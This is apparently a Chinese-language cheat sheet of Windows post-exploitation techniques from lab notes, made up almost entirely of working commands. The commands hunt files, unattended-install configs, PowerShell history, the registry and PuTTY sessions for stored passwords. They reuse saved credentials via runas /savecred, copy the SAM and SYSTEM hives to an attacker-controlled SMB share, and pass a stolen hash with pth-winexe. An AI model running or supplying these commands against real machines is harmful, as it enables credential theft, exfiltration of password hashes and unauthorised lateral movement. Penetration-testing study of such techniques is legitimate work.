在文件中查找
findstr /si password *.xml *.ini *.txt *.config 2>nul
cd C:\ & findstr /SI /M “password” *.xml *.ini *.txt
findstr /spin “password” *.*
Check .config or other interesting file types for those strings
dir /s *pass* == *cred* == *vnc* == *.config*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Windows 无人值守安装
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
- dir /s sysprep.inf sysprep.xml unattended.xml unattend.xml *unattend.txt 2>nul
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
PowerShell 历史
C:\Users\14894>type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS C:\Users\14894>type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
保存的 Windows 凭据
C:\Users\14894>cmdkey /list # 列出当前保存的凭证
C:\Users\14894>runas /savecred /user:admin cmd.exe # 以 admin 用户连接 cmd.exe
IIS 配置
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
软件中搜索 :PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,IP、用户和其他配置可以存储在其中以供以后使用。虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包括明文身份验证凭据的代理配置。 要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
C:\Users\14894>reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注册表
搜索注册表中包含 password
的项
reg query HKLM /f password /t REG_SZ /s
查看指定密钥:
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
保存的凭证
我们可以使用下面命令来查看目标保存了什么凭证
C:\Users\user>cmdkey /list
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
如果存在一个凭证,我们可以使用此来运行一个程序
C:\Users\user>runas /savecred /user:admin C:\Windows\System32\cmd.exe
Attempting to start C:\Windows\System32\cmd.exe as user "WIN-QBA94KB3IOF\admin" ...
hash 转储 SAM
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\
PTH
pth-winexe -U 'admin%hash' //10.10.72.117 cmd.exe